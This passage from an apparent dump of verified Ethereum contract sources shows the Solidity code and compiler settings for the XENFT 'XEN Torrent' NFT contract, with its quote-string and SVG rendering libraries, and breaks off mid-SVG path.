elapsedTime,\n uint64 totalTime\n ) internal pure returns (uint128) {\n // Calculate vested amount on linear curve: targetAmount * elapsedTime / totalTime\n uint256 amount = (uint256(targetAmount) * uint256(elapsedTime)) /\n uint256(totalTime);\n require(amount <= type(uint128).max, \"Overflow in curve calculation\");\n return uint128(amount);\n }\n\n /// @notice Calculate vested token amount on an exponential curve.\n /// @dev Calculate vested amount on exponential curve: targetAmount * elapsedTime^2 / totalTime^2\n /// @param targetAmount Amount of tokens that is being vested\n /// @param elapsedTime Time that has elapsed for the vesting\n /// @param totalTime Duration of the vesting\n /// @return Tokens that have been vested on an exponential curve\n function calculateExponential(\n uint128 targetAmount,\n uint64 elapsedTime,\n uint64 totalTime\n ) internal pure returns (uint128) {\n // Calculate vested amount on exponential curve: targetAmount * elapsedTime^2 / totalTime^2\n uint256 amount = (uint256(targetAmount) *\n uint256(elapsedTime) *\n uint256(elapsedTime)) / (uint256(totalTime) * uint256(totalTime));\n require(amount <= type(uint128).max, \"Overflow in curve calculation\");\n return uint128(amount);\n }\n}\n"
}
},
"settings": {
"evmVersion": "paris",
"optimizer": {
"enabled": false,
"runs": 200
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
},
"metadata": {
"useLiteralContent": true
},
"libraries": {
"contracts/libraries/VestingLibrary.sol": {
"VestingLibrary": "0x99fad8b3658d185474e13d1be98660dc30077b26"
}
}
}
}} |
1 | 19,494,966 | b37f45003d88fd698c750f7744bd31028442086a16a43a4f4df8e8d418929377 | 95f006a459224e88a8f73755ab7bc49de3dbf196b2834c3be19f2653c4c3b3ea | 515b52b8170b1dcd20242b369a674a8dad27407f | 0a252663dbcc0b073063d6420a40319e438cfa59 | 43133f040ce4f1640adb518a12ce7adcf41f9c30 | 3d602d80600a3d3981f3363d3d373d3d3d363d730a252663dbcc0b073063d6420a40319e438cfa595af43d82803e903d91602b57fd5bf3 | 363d3d373d3d3d363d730a252663dbcc0b073063d6420a40319e438cfa595af43d82803e903d91602b57fd5bf3 | {{
"language": "Solidity",
"sources": {
"/contracts/XENFT.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"@openzeppelin/contracts/token/ERC721/ERC721.sol\";\nimport \"@openzeppelin/contracts/interfaces/IERC2981.sol\";\nimport \"@openzeppelin/contracts/utils/Base64.sol\";\nimport \"@openzeppelin/contracts/utils/Strings.sol\";\nimport \"@faircrypto/xen-crypto/contracts/XENCrypto.sol\";\nimport \"@faircrypto/xen-crypto/contracts/interfaces/IBurnableToken.sol\";\nimport \"@faircrypto/xen-crypto/contracts/interfaces/IBurnRedeemable.sol\";\nimport \"operator-filter-registry/src/DefaultOperatorFilterer.sol\";\nimport \"./libs/ERC2771Context.sol\";\nimport \"./interfaces/IERC2771.sol\";\nimport \"./interfaces/IXENTorrent.sol\";\nimport \"./interfaces/IXENProxying.sol\";\nimport \"./libs/MintInfo.sol\";\nimport \"./libs/Metadata.sol\";\nimport \"./libs/Array.sol\";\n\n/*\n\n \\\\ // ||||||||||| |\\ || A CRYPTOCURRENCY FOR THE MASSES\n \\\\ // || |\\\\ ||\n \\\\ // || ||\\\\ || PRINCIPLES OF XEN:\n \\\\// || || \\\\ || - No pre-mint; starts with zero supply\n XX |||||||| || \\\\ || - No admin keys\n //\\\\ || || \\\\ || - Immutable contract\n // \\\\ || || \\\\||\n // \\\\ || || \\\\|\n // \\\\ ||||||||||| || \\| Copyright (C) FairCrypto Foundation 2022\n\n\n XENFT XEN Torrent props:\n - count: number of VMUs\n - mintInfo: (term, maturityTs, cRank start, AMP, EAA, apex, limited, group, redeemed)\n */\ncontract XENTorrent is\n DefaultOperatorFilterer, // required to support OpenSea royalties\n IXENTorrent,\n IXENProxying,\n IBurnableToken,\n IBurnRedeemable,\n ERC2771Context, // required to support meta transactions\n IERC2981, // required to support NFT royalties\n ERC721(\"XEN Torrent\", \"XENT\")\n{\n // HELPER LIBRARIES\n\n using Strings for uint256;\n using MintInfo for uint256;\n using Array for uint256[];\n\n // PUBLIC CONSTANTS\n\n // XENFT common business logic\n uint256 public constant BLACKOUT_TERM = 7 * 24 * 3600; /* 7 days in sec */\n\n // XENFT categories' params\n uint256 public constant COMMON_CATEGORY_COUNTER = 10_001;\n uint256 public constant SPECIAL_CATEGORIES_VMU_THRESHOLD = 99;\n uint256 public constant LIMITED_CATEGORY_TIME_THRESHOLD = 3_600 * 24 * 365;\n\n uint256 public constant POWER_GROUP_SIZE = 7_500;\n\n string public constant AUTHORS = \"@MrJackLevin @lbelyaev faircrypto.org\";\n\n uint256 public constant ROYALTY_BP = 250;\n\n // PUBLIC MUTABLE STATE\n\n // increasing counters for NFT tokenIds, also used as salt for proxies' spinning\n uint256 public tokenIdCounter = COMMON_CATEGORY_COUNTER;\n\n // Indexing of params by categories and classes:\n // 0: Collector\n // 1: Limited\n // 2: Rare\n // 3: Epic\n // 4: Legendary\n // 5: Exotic\n // 6: Xunicorn\n // [0, B1, B2, B3, B4, B5, B6]\n uint256[] public specialClassesBurnRates;\n // [0, 0, R1, R2, R3, R4, R5]\n uint256[] public specialClassesTokenLimits;\n // [0, 0, 0 + 1, R1+1, R2+1, R3+1, R4+1]\n uint256[] public specialClassesCounters;\n\n // mapping: NFT tokenId => count of Virtual Mining Units\n mapping(uint256 => uint256) public vmuCount;\n // mapping: NFT tokenId => burned XEN\n mapping(uint256 => uint256) public xenBurned;\n // mapping: NFT tokenId => MintInfo (used in tokenURI generation)\n // MintInfo encoded as:\n // term (uint16)\n // | maturityTs (uint64)\n // | rank (uint128)\n // | amp (uint16)\n // | eaa (uint16)\n // | class (uint8):\n // [7] isApex\n // [6] isLimited\n // [0-5] powerGroupIdx\n // | redeemed (uint8)\n mapping(uint256 => uint256) public mintInfo;\n\n // PUBLIC IMMUTABLE STATE\n\n // pointer to XEN Crypto contract\n XENCrypto public immutable xenCrypto;\n // genesisTs for the contract\n uint256 public immutable genesisTs;\n // start of operations block number\n uint256 public immutable startBlockNumber;\n\n // PRIVATE STATE\n\n // original contract marking to distinguish from proxy copies\n address private immutable _original;\n // original deployer address to be used for setting trusted forwarder\n address private immutable _deployer;\n // address to be used for royalties' tracking\n address private immutable _royaltyReceiver;\n\n // reentrancy guard constants and state\n // using non-zero constants to save gas avoiding repeated initialization\n uint256 private constant _NOT_USED = 2**256 - 1; // 0xFF..FF\n uint256 private constant _USED = _NOT_USED - 1; // 0xFF..FE\n // used as both\n // - reentrancy guard (_NOT_USED > _USED > _NOT_USED)\n // - for keeping state while awaiting for OnTokenBurned callback (_NOT_USED > tokenId > _NOT_USED)\n uint256 private _tokenId;\n\n // mapping Address => tokenId[]\n mapping(address => uint256[]) private _ownedTokens;\n\n /**\n @dev Constructor. Creates XEN Torrent contract, setting immutable parameters\n */\n constructor(\n address xenCrypto_,\n uint256[] memory burnRates_,\n uint256[] memory tokenLimits_,\n uint256 startBlockNumber_,\n address forwarder_,\n address royaltyReceiver_\n ) ERC2771Context(forwarder_) {\n require(xenCrypto_ != address(0), \"bad address\");\n require(burnRates_.length == tokenLimits_.length && burnRates_.length > 0, \"params mismatch\");\n _tokenId = _NOT_USED;\n _original = address(this);\n _deployer = msg.sender;\n _royaltyReceiver = royaltyReceiver_ == address(0) ? msg.sender : royaltyReceiver_;\n startBlockNumber = startBlockNumber_;\n genesisTs = block.timestamp;\n xenCrypto = XENCrypto(xenCrypto_);\n specialClassesBurnRates = burnRates_;\n specialClassesTokenLimits = tokenLimits_;\n specialClassesCounters = new uint256[](tokenLimits_.length);\n for (uint256 i = 2; i < specialClassesBurnRates.length - 1; i++) {\n specialClassesCounters[i] = specialClassesTokenLimits[i + 1] + 1;\n }\n specialClassesCounters[specialClassesBurnRates.length - 1] = 1;\n }\n\n /**\n @dev Call Reentrancy Guard\n */\n modifier nonReentrant() {\n require(_tokenId == _NOT_USED, \"XENFT: Reentrancy detected\");\n _tokenId = _USED;\n _;\n _tokenId = _NOT_USED;\n }\n\n /**\n @dev Start of Operations Guard\n */\n modifier notBeforeStart() {\n require(block.number > startBlockNumber, \"XENFT: Not active yet\");\n _;\n }\n\n // INTERFACES & STANDARDS\n // IERC165 IMPLEMENTATION\n\n /**\n @dev confirms support for IERC-165, IERC-721, IERC2981, IERC2771 and IBurnRedeemable interfaces\n */\n function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {\n return\n interfaceId == type(IBurnRedeemable).interfaceId ||\n interfaceId == type(IERC2981).interfaceId ||\n interfaceId == type(IERC2771).interfaceId ||\n super.supportsInterface(interfaceId);\n }\n\n // ERC2771 IMPLEMENTATION\n\n /**\n @dev use ERC2771Context implementation of _msgSender()\n */\n function _msgSender() internal view virtual override(Context, ERC2771Context) returns (address) {\n return ERC2771Context._msgSender();\n }\n\n /**\n @dev use ERC2771Context implementation of _msgData()\n */\n function _msgData() internal view virtual override(Context, ERC2771Context) returns (bytes calldata) {\n return ERC2771Context._msgData();\n }\n\n // OWNABLE IMPLEMENTATION\n\n /**\n @dev public getter to check for deployer / owner (Opensea, etc.)\n */\n function owner() external view returns (address) {\n return _deployer;\n }\n\n // ERC-721 METADATA IMPLEMENTATION\n /**\n @dev compliance with ERC-721 standard (NFT); returns NFT metadata, including SVG-encoded image\n */\n function tokenURI(uint256 tokenId) public view override returns (string memory) {\n uint256 count = vmuCount[tokenId];\n uint256 info = mintInfo[tokenId];\n uint256 burned = xenBurned[tokenId];\n require(count > 0);\n bytes memory dataURI = abi.encodePacked(\n \"{\",\n '\"name\": \"XEN Torrent #',\n tokenId.toString(),\n '\",',\n '\"description\": \"XENFT: XEN Crypto Minting Torrent\",',\n '\"image\": \"',\n \"data:image/svg+xml;base64,\",\n Base64.encode(Metadata.svgData(tokenId, count, info, address(xenCrypto), burned)),\n '\",',\n '\"attributes\": ',\n Metadata.attributes(count, burned, info),\n \"}\"\n );\n return string(abi.encodePacked(\"data:application/json;base64,\", Base64.encode(dataURI)));\n }\n\n // IMPLEMENTATION OF XENProxying INTERFACE\n // FUNCTIONS IN PROXY COPY CONTRACTS (VMUs), CALLING ORIGINAL XEN CRYPTO CONTRACT\n /**\n @dev function callable only in proxy contracts from the original one => XENCrypto.claimRank(term)\n */\n function callClaimRank(uint256 term) external {\n require(msg.sender == _original, \"XEN Proxy: unauthorized\");\n bytes memory callData = abi.encodeWithSignature(\"claimRank(uint256)\", term);\n (bool success, ) = address(xenCrypto).call(callData);\n require(success, \"call failed\");\n }\n\n /**\n @dev function callable only in proxy contracts from the original one => XENCrypto.claimMintRewardAndShare()\n */\n function callClaimMintReward(address to) external {\n require(msg.sender == _original, \"XEN Proxy: unauthorized\");\n bytes memory callData = abi.encodeWithSignature(\"claimMintRewardAndShare(address,uint256)\", to, uint256(100));\n (bool success, ) = address(xenCrypto).call(callData);\n require(success, \"call failed\");\n }\n\n /**\n @dev function callable only in proxy contracts from the original one => destroys the proxy contract\n */\n function powerDown() external {\n require(msg.sender == _original, \"XEN Proxy: unauthorized\");\n selfdestruct(payable(address(0)));\n }\n\n // OVERRIDING OF ERC-721 IMPLEMENTATION\n // ENFORCEMENT OF TRANSFER BLACKOUT PERIOD\n\n /**\n @dev overrides OZ ERC-721 before transfer hook to check if there's no blackout period\n */\n function _beforeTokenTransfer(\n address from,\n address,\n uint256 tokenId\n ) internal virtual override {\n if (from != address(0)) {\n uint256 maturityTs = mintInfo[tokenId].getMaturityTs();\n uint256 delta = maturityTs > block.timestamp ? maturityTs - block.timestamp : block.timestamp - maturityTs;\n require(delta > BLACKOUT_TERM, \"XENFT: transfer prohibited in blackout period\");\n }\n }\n\n /**\n @dev overrides OZ ERC-721 after transfer hook to allow token enumeration for owner\n */\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 tokenId\n ) internal virtual override {\n _ownedTokens[from].removeItem(tokenId);\n _ownedTokens[to].addItem(tokenId);\n }\n\n // IBurnRedeemable IMPLEMENTATION\n\n /**\n @dev implements IBurnRedeemable interface for burning XEN and completing Bulk Mint for limited series\n */\n function onTokenBurned(address user, uint256 burned) external {\n require(_tokenId != _NOT_USED, \"XENFT: illegal callback state\");\n require(msg.sender == address(xenCrypto), \"XENFT: illegal callback caller\");\n _ownedTokens[user].addItem(_tokenId);\n xenBurned[_tokenId] = burned;\n _safeMint(user, _tokenId);\n emit StartTorrent(user, vmuCount[_tokenId], mintInfo[_tokenId].getTerm());\n _tokenId = _NOT_USED;\n }\n\n // IBurnableToken IMPLEMENTATION\n\n /**\n @dev burns XENTorrent XENFT which can be used by connected contracts services\n */\n function burn(address user, uint256 tokenId) public notBeforeStart nonReentrant {\n require(\n IERC165(_msgSender()).supportsInterface(type(IBurnRedeemable).interfaceId),\n \"XENFT burn: not a supported contract\"\n );\n require(user != address(0), \"XENFT burn: illegal owner address\");\n require(tokenId > 0, \"XENFT burn: illegal tokenId\");\n require(_isApprovedOrOwner(_msgSender(), tokenId), \"XENFT burn: not an approved operator\");\n require(ownerOf(tokenId) == user, \"XENFT burn: user is not tokenId owner\");\n _ownedTokens[user].removeItem(tokenId);\n _burn(tokenId);\n IBurnRedeemable(_msgSender()).onTokenBurned(user, tokenId);\n }\n\n // OVERRIDING ERC-721 IMPLEMENTATION TO ALLOW OPENSEA ROYALTIES ENFORCEMENT PROTOCOL\n\n /**\n @dev implements `setApprovalForAll` with additional approved Operator checking\n */\n function setApprovalForAll(address operator, bool approved) public override onlyAllowedOperatorApproval(operator) {\n super.setApprovalForAll(operator, approved);\n }\n\n /**\n @dev implements `approve` with additional approved Operator checking\n */\n function approve(address operator, uint256 tokenId) public override onlyAllowedOperatorApproval(operator) {\n super.approve(operator, tokenId);\n }\n\n /**\n @dev implements `transferFrom` with additional approved Operator checking\n */\n function transferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public override onlyAllowedOperator(from) {\n super.transferFrom(from, to, tokenId);\n }\n\n /**\n @dev implements `safeTransferFrom` with additional approved Operator checking\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public override onlyAllowedOperator(from) {\n super.safeTransferFrom(from, to, tokenId);\n }\n\n /**\n @dev implements `safeTransferFrom` with additional approved Operator checking\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes memory data\n ) public override onlyAllowedOperator(from) {\n super.safeTransferFrom(from, to, tokenId, data);\n }\n\n // SUPPORT FOR ERC2771 META-TRANSACTIONS\n\n /**\n @dev Implements setting a `Trusted Forwarder` for meta-txs. Settable only once\n */\n function addForwarder(address trustedForwarder) external {\n require(msg.sender == _deployer, \"XENFT: not an deployer\");\n require(_trustedForwarder == address(0), \"XENFT: Forwarder is already set\");\n _trustedForwarder = trustedForwarder;\n }\n\n // SUPPORT FOR ERC2981 ROYALTY INFO\n\n /**\n @dev Implements getting Royalty Info by supported operators. ROYALTY_BP is expressed in basis points\n */\n function royaltyInfo(uint256, uint256 salePrice) external view returns (address receiver, uint256 royaltyAmount) {\n receiver = _royaltyReceiver;\n royaltyAmount = (salePrice * ROYALTY_BP) / 10_000;\n }\n\n // XEN TORRENT PRIVATE / INTERNAL HELPERS\n\n /**\n @dev Sets specified XENFT as redeemed\n */\n function _setRedeemed(uint256 tokenId) private {\n mintInfo[tokenId] = mintInfo[tokenId] | uint256(1);\n }\n\n /**\n @dev Determines power group index for Collector Category\n */\n function _powerGroup(uint256 vmus, uint256 term) private pure returns (uint256) {\n return (vmus * term) / POWER_GROUP_SIZE;\n }\n\n /**\n @dev calculates Collector Class index\n */\n function _classIdx(uint256 count, uint256 term) private pure returns (uint256 index) {\n if (_powerGroup(count, term) > 7) return 7;\n return _powerGroup(count, term);\n }\n\n /**\n @dev internal helper to determine special class tier based on XEN to be burned\n */\n function _specialTier(uint256 burning) private view returns (uint256) {\n for (uint256 i = specialClassesBurnRates.length - 1; i > 0; i--) {\n if (specialClassesBurnRates[i] == 0) {\n return 0;\n }\n if (burning > specialClassesBurnRates[i] - 1) {\n return i;\n }\n }\n return 0;\n }\n\n /**\n @dev internal helper to collect params and encode MintInfo\n */\n function _mintInfo(\n address proxy,\n uint256 count,\n uint256 term,\n uint256 burning,\n uint256 tokenId\n ) private view returns (uint256) {\n bool apex = isApex(tokenId);\n uint256 _class = _classIdx(count, term);\n if (apex) _class = uint8(7 + _specialTier(burning)) | 0x80; // Apex Class\n if (burning > 0 && !apex) _class = uint8(8) | 0x40; // Limited Class\n (, , uint256 maturityTs, uint256 rank, uint256 amp, uint256 eaa) = xenCrypto.userMints(proxy);\n return MintInfo.encodeMintInfo(term, maturityTs, rank, amp, eaa, _class, false);\n }\n\n /**\n @dev internal torrent interface. initiates Bulk Mint (Torrent) Operation\n */\n function _bulkClaimRank(\n uint256 count,\n uint256 term,\n uint256 tokenId,\n uint256 burning\n ) private {\n bytes memory bytecode = bytes.concat(\n bytes20(0x3D602d80600A3D3981F3363d3d373d3D3D363d73),\n bytes20(address(this)),\n bytes15(0x5af43d82803e903d91602b57fd5bf3)\n );\n bytes memory callData = abi.encodeWithSignature(\"callClaimRank(uint256)\", term);\n address proxy;\n bool succeeded;\n for (uint256 i = 1; i < count + 1; i++) {\n bytes32 salt = keccak256(abi.encodePacked(i, tokenId));\n assembly {\n proxy := create2(0, add(bytecode, 0x20), mload(bytecode), salt)\n succeeded := call(gas(), proxy, 0, add(callData, 0x20), mload(callData), 0, 0)\n }\n require(succeeded, \"XENFT: Error while claiming rank\");\n if (i == 1) {\n mintInfo[tokenId] = _mintInfo(proxy, count, term, burning, tokenId);\n }\n }\n vmuCount[tokenId] = count;\n }\n\n /**\n @dev internal helper to claim tokenId (limited / ordinary)\n */\n function _getTokenId(uint256 count, uint256 burning) private returns (uint256) {\n // burn possibility has already been verified\n uint256 tier = _specialTier(burning);\n if (tier == 1) {\n require(count > SPECIAL_CATEGORIES_VMU_THRESHOLD, \"XENFT: under req VMU count\");\n require(block.timestamp < genesisTs + LIMITED_CATEGORY_TIME_THRESHOLD, \"XENFT: limited time expired\");\n return tokenIdCounter++;\n }\n if (tier > 1) {\n require(_msgSender() == tx.origin, \"XENFT: only EOA allowed for this category\");\n require(count > SPECIAL_CATEGORIES_VMU_THRESHOLD, \"XENFT: under req VMU count\");\n require(specialClassesCounters[tier] < specialClassesTokenLimits[tier] + 1, \"XENFT: class sold out\");\n return specialClassesCounters[tier]++;\n }\n return tokenIdCounter++;\n }\n\n // PUBLIC GETTERS\n\n /**\n @dev public getter for tokens owned by address\n */\n function ownedTokens() external view returns (uint256[] memory) {\n return _ownedTokens[_msgSender()];\n }\n\n /**\n @dev determines if tokenId corresponds to Limited Category\n */\n function isApex(uint256 tokenId) public pure returns (bool apex) {\n apex = tokenId < COMMON_CATEGORY_COUNTER;\n }\n\n // PUBLIC TRANSACTIONAL INTERFACE\n\n /**\n @dev public XEN Torrent interface\n initiates Bulk Mint (Torrent) Operation (Common Category)\n */\n function bulkClaimRank(uint256 count, uint256 term) public notBeforeStart returns (uint256 tokenId) {\n require(_tokenId == _NOT_USED, \"XENFT: reentrancy detected\");\n require(count > 0, \"XENFT: Illegal count\");\n require(term > 0, \"XENFT: Illegal term\");\n _tokenId = _getTokenId(count, 0);\n _bulkClaimRank(count, term, _tokenId, 0);\n _ownedTokens[_msgSender()].addItem(_tokenId);\n _safeMint(_msgSender(), _tokenId);\n emit StartTorrent(_msgSender(), count, term);\n tokenId = _tokenId;\n _tokenId = _NOT_USED;\n }\n\n /**\n @dev public torrent interface. initiates Bulk Mint (Torrent) Operation (Special Category)\n */\n function bulkClaimRankLimited(\n uint256 count,\n uint256 term,\n uint256 burning\n ) public notBeforeStart returns (uint256) {\n require(_tokenId == _NOT_USED, \"XENFT: reentrancy detected\");\n require(count > 0, \"XENFT: Illegal count\");\n require(term > 0, \"XENFT: Illegal term\");\n require(burning > specialClassesBurnRates[1] - 1, \"XENFT: not enough burn amount\");\n uint256 balance = IERC20(xenCrypto).balanceOf(_msgSender());\n require(balance > burning - 1, \"XENFT: not enough XEN balance\");\n uint256 approved = IERC20(xenCrypto).allowance(_msgSender(), address(this));\n require(approved > burning - 1, \"XENFT: not enough XEN balance approved for burn\");\n _tokenId = _getTokenId(count, burning);\n _bulkClaimRank(count, term, _tokenId, burning);\n IBurnableToken(xenCrypto).burn(_msgSender(), burning);\n return _tokenId;\n }\n\n /**\n @dev public torrent interface. initiates Mint Reward claim and collection and terminates Torrent Operation\n */\n function bulkClaimMintReward(uint256 tokenId, address to) external notBeforeStart nonReentrant {\n require(ownerOf(tokenId) == _msgSender(), \"XENFT: Incorrect owner\");\n require(to != address(0), \"XENFT: Illegal address\");\n require(!mintInfo[tokenId].getRedeemed(), \"XENFT: Already redeemed\");\n bytes memory bytecode = bytes.concat(\n bytes20(0x3D602d80600A3D3981F3363d3d373d3D3D363d73),\n bytes20(address(this)),\n bytes15(0x5af43d82803e903d91602b57fd5bf3)\n );\n uint256 end = vmuCount[tokenId] + 1;\n bytes memory callData = abi.encodeWithSignature(\"callClaimMintReward(address)\", to);\n bytes memory callData1 = abi.encodeWithSignature(\"powerDown()\");\n for (uint256 i = 1; i < end; i++) {\n bytes32 salt = keccak256(abi.encodePacked(i, tokenId));\n bool succeeded;\n bytes32 hash = keccak256(abi.encodePacked(hex\"ff\", address(this), salt, keccak256(bytecode)));\n address proxy = address(uint160(uint256(hash)));\n assembly {\n succeeded := call(gas(), proxy, 0, add(callData, 0x20), mload(callData), 0, 0)\n }\n require(succeeded, \"XENFT: Error while claiming rewards\");\n assembly {\n succeeded := call(gas(), proxy, 0, add(callData1, 0x20), mload(callData1), 0, 0)\n }\n require(succeeded, \"XENFT: Error while powering down\");\n }\n _setRedeemed(tokenId);\n emit EndTorrent(_msgSender(), tokenId, to);\n }\n}\n"
},
"/contracts/libs/StringData.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\n/*\n Extra XEN quotes:\n\n \"When you realize nothing is lacking, the whole world belongs to you.\" - Lao Tzu\n \"Each morning, we are born again. What we do today is what matters most.\" - Buddha\n \"If you are depressed, you are living in the past.\" - Lao Tzu\n \"In true dialogue, both sides are willing to change.\" - Thich Nhat Hanh\n \"The spirit of the individual is determined by his domination thought habits.\" - Bruce Lee\n \"Be the path. Do not seek it.\" - Yara Tschallener\n \"Bow to no one but your own divinity.\" - Satya\n \"With insight there is hope for awareness, and with awareness there can be change.\" - Tom Kenyon\n \"The opposite of depression isn't happiness, it is purpose.\" - Derek Sivers\n \"If you can't, you must.\" - Tony Robbins\n “When you are grateful, fear disappears and abundance appears.” - Lao Tzu\n “It is in your moments of decision that your destiny is shaped.” - Tony Robbins\n \"Surmounting difficulty is the crucible that forms character.\" - Tony Robbins\n \"Three things cannot be long hidden: the sun, the moon, and the truth.\" - Buddha\n \"What you are is what you have been. What you’ll be is what you do now.\" - Buddha\n \"The best way to take care of our future is to take care of the present moment.\" - Thich Nhat Hanh\n*/\n\n/**\n @dev a library to supply a XEN string data based on params\n*/\nlibrary StringData {\n uint256 public constant QUOTES_COUNT = 12;\n uint256 public constant QUOTE_LENGTH = 66;\n bytes public constant QUOTES =\n bytes(\n '\"If you realize you have enough, you are truly rich.\" - Lao Tzu '\n '\"The real meditation is how you live your life.\" - Jon Kabat-Zinn '\n '\"To know that you do not know is the best.\" - Lao Tzu '\n '\"An over-sharpened sword cannot last long.\" - Lao Tzu '\n '\"When you accept yourself, the whole world accepts you.\" - Lao Tzu'\n '\"Music in the soul can be heard by the universe.\" - Lao Tzu '\n '\"As soon as you have made a thought, laugh at it.\" - Lao Tzu '\n '\"The further one goes, the less one knows.\" - Lao Tzu '\n '\"Stop thinking, and end your problems.\" - Lao Tzu '\n '\"Reliability is the foundation of commitment.\" - Unknown '\n '\"Your past does not equal your future.\" - Tony Robbins '\n '\"Be the path. Do not seek it.\" - Yara Tschallener '\n );\n uint256 public constant CLASSES_COUNT = 14;\n uint256 public constant CLASSES_NAME_LENGTH = 10;\n bytes public constant CLASSES =\n bytes(\n \"Ruby \"\n \"Opal \"\n \"Topaz \"\n \"Emerald \"\n \"Aquamarine\"\n \"Sapphire \"\n \"Amethyst \"\n \"Xenturion \"\n \"Limited \"\n \"Rare \"\n \"Epic \"\n \"Legendary \"\n \"Exotic \"\n \"Xunicorn \"\n );\n\n /**\n @dev Solidity doesn't yet support slicing of byte arrays anywhere outside of calldata,\n therefore we make a hack by supplying our local constant packed string array as calldata\n */\n function getQuote(bytes calldata quotes, uint256 index) external pure returns (string memory) {\n if (index > QUOTES_COUNT - 1) return string(quotes[0:QUOTE_LENGTH]);\n return string(quotes[index * QUOTE_LENGTH:(index + 1) * QUOTE_LENGTH]);\n }\n\n function getClassName(bytes calldata names, uint256 index) external pure returns (string memory) {\n if (index < CLASSES_COUNT) return string(names[index * CLASSES_NAME_LENGTH:(index + 1) * CLASSES_NAME_LENGTH]);\n return \"\";\n }\n}\n"
},
"/contracts/libs/SVG.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"@openzeppelin/contracts/utils/Strings.sol\";\nimport \"./DateTime.sol\";\nimport \"./StringData.sol\";\nimport \"./FormattedStrings.sol\";\n\n/*\n @dev Library to create SVG image for XENFT metadata\n @dependency depends on DataTime.sol and StringData.sol libraries\n */\nlibrary SVG {\n // Type to encode all data params for SVG image generation\n struct SvgParams {\n string symbol;\n address xenAddress;\n uint256 tokenId;\n uint256 term;\n uint256 rank;\n uint256 count;\n uint256 maturityTs;\n uint256 amp;\n uint256 eaa;\n uint256 xenBurned;\n bool redeemed;\n string series;\n }\n\n // Type to encode SVG gradient stop color on HSL color scale\n struct Color {\n uint256 h;\n uint256 s;\n uint256 l;\n uint256 a;\n uint256 off;\n }\n\n // Type to encode SVG gradient\n struct Gradient {\n Color[] colors;\n uint256 id;\n uint256[4] coords;\n }\n\n using DateTime for uint256;\n using Strings for uint256;\n using FormattedStrings for uint256;\n using Strings for address;\n\n string private constant _STYLE =\n \"<style> \"\n \".base {fill: #ededed;font-family:Montserrat,arial,sans-serif;font-size:30px;font-weight:400;} \"\n \".series {text-transform: uppercase} \"\n \".logo {font-size:200px;font-weight:100;} \"\n \".meta {font-size:12px;} \"\n \".small {font-size:8px;} \"\n \".burn {font-weight:500;font-size:16px;} }\"\n \"</style>\";\n\n string private constant _COLLECTOR =\n \"<g>\"\n \"<path \"\n 'stroke=\"#ededed\" '\n 'fill=\"none\" '\n 'transform=\"translate(265,418)\" '\n 'd=\"m 0 0 L -20 -30 L -12.5 -38.5 l 6.5 7 L 0 -38.5 L 6.56 -31.32 L 12.5 -38.5 L 20 -30 L 0 0 L -7.345 -29.955 L 0 -38.5 L 7.67 -30.04 L 0 0 Z M 0 0 L -20.055 -29.955 l 7.555 -8.545 l 24.965 -0.015 L 20 -30 L -20.055 -29.955\"/>'\n \"</g>\";\n\n string private constant _LIMITED =\n \"<g> \"\n '<path fill=\"#ededed\" '\n 'transform=\"scale(0.4) translate(600, 940)\" '\n 'd=\"M66,38.09q.06.9.18,1.71v.05c1,7.08,4.63,11.39,9.59,13.81,5.18,2.53,11.83,3.09,18.48,2.61,1.49-.11,3-.27,4.39-.47l1.59-.2c4.78-.61,11.47-1.48,13.35-5.06,1.16-2.2,1-5,0-8a38.85,38.85,0,0,0-6.89-11.73A32.24,32.24,0,0,0,95,21.46,21.2,21.2,0,0,0,82.3,20a23.53,23.53,0,0,0-12.75,7,15.66,15.66,0,0,0-2.35,3.46h0a20.83,20.83,0,0,0-1,2.83l-.06.2,0,.12A12,12,0,0,0,66,37.9l0,.19Zm26.9-3.63a5.51,5.51,0,0,1,2.53-4.39,14.19,14.19,0,0,0-5.77-.59h-.16l.06.51a5.57,5.57,0,0,0,2.89,4.22,4.92,4.92,0,0,0,.45.24ZM88.62,28l.94-.09a13.8,13.8,0,0,1,8,1.43,7.88,7.88,0,0,1,3.92,6.19l0,.43a.78.78,0,0,1-.66.84A19.23,19.23,0,0,1,98,37a12.92,12.92,0,0,1-6.31-1.44A7.08,7.08,0,0,1,88,30.23a10.85,10.85,0,0,1-.1-1.44.8.8,0,0,1,.69-.78ZM14.15,10c-.06-5.86,3.44-8.49,8-9.49C26.26-.44,31.24.16,34.73.7A111.14,111.14,0,0,1,56.55,6.4a130.26,130.26,0,0,1,22,10.8,26.25,26.25,0,0,1,3-.78,24.72,24.72,0,0,1,14.83,1.69,36,36,0,0,1,13.09,10.42,42.42,42.42,0,0,1,7.54,12.92c1.25,3.81,1.45,7.6-.23,10.79-2.77,5.25-10.56,6.27-16.12,7l-1.23.16a54.53,54.53,0,0,1-2.81,12.06A108.62,108.62,0,0,1,91.3,84v25.29a9.67,9.67,0,0,1,9.25,10.49c0,.41,0,.81,0,1.18a1.84,1.84,0,0,1-1.84,1.81H86.12a8.8,8.8,0,0,1-5.1-1.56,10.82,10.82,0,0,1-3.35-4,2.13,2.13,0,0,1-.2-.46L73.53,103q-2.73,2.13-5.76,4.16c-1.2.8-2.43,1.59-3.69,2.35l.6.16a8.28,8.28,0,0,1,5.07,4,15.38,15.38,0,0,1,1.71,7.11V121a1.83,1.83,0,0,1-1.83,1.83h-53c-2.58.09-4.47-.52-5.75-1.73A6.49,6.49,0,0,1,9.11,116v-11.2a42.61,42.61,0,0,1-6.34-11A38.79,38.79,0,0,1,1.11,70.29,37,37,0,0,1,13.6,50.54l.1-.09a41.08,41.08,0,0,1,11-6.38c7.39-2.9,17.93-2.77,26-2.68,5.21.06,9.34.11,10.19-.49a4.8,4.8,0,0,0,1-.91,5.11,5.11,0,0,0,.56-.84c0-.26,0-.52-.07-.78a16,16,0,0,1-.06-4.2,98.51,98.51,0,0,0-18.76-3.68c-7.48-.83-15.44-1.19-23.47-1.41l-1.35,